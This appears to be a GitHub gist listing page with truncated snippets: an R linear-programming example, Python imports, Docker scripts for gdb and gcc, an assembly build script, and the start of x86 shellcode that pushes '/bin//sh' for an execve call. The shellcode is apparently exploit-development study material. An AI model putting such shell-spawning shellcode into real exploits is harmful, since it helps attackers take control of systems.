🏳️⚧️
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# To run, execute Rscript linearprogramming.R | |
# based on https://rpubs.com/abhaypadda/linear-optimization-example | |
library(lpSolve) | |
# Objective | |
objective.in <- c(0.06, 0.08) | |
# Constraint matrix with 3 rows | |
const.mat <- matrix(c(8, 6, 1, 2, 1, 2), nrow=3, byrow=TRUE) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import base64 | |
from bs4 import BeautifulSoup | |
from http import cookies | |
from http.server import HTTPServer, BaseHTTPRequestHandler | |
import json | |
import requests | |
import os | |
import socketserver | |
from urllib.parse import unquote |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker start gdb-docker | |
docker exec --privileged -it gdb-docker /usr/bin/gdb $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker run --privileged --cap-add=SYS_PTRACE --name gdb-docker -v "$PWD":/usr/src/assembly -w /usr/src/assembly -it ubuntu:latest $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker exec -it gcc-docker /bin/bash |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker run --name gcc-docker --rm -v "$PWD":/usr/src/assembly -w /usr/src/assembly -it gcc:4.9 $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker run --rm -v "$PWD":/usr/src/assembly -w /usr/src/assembly gcc:4.9 $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
as --32 $1.s -o $1.o | |
ld -m elf_i386 $1.o -o $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.global _start | |
.section .text | |
_start: | |
# execve syscall | |
xor %eax, %eax | |
push %eax # null byte for /bin/sh string | |
push $0x68732f2f # little endian //sh | |
push $0x6e69622f # little endian /bin |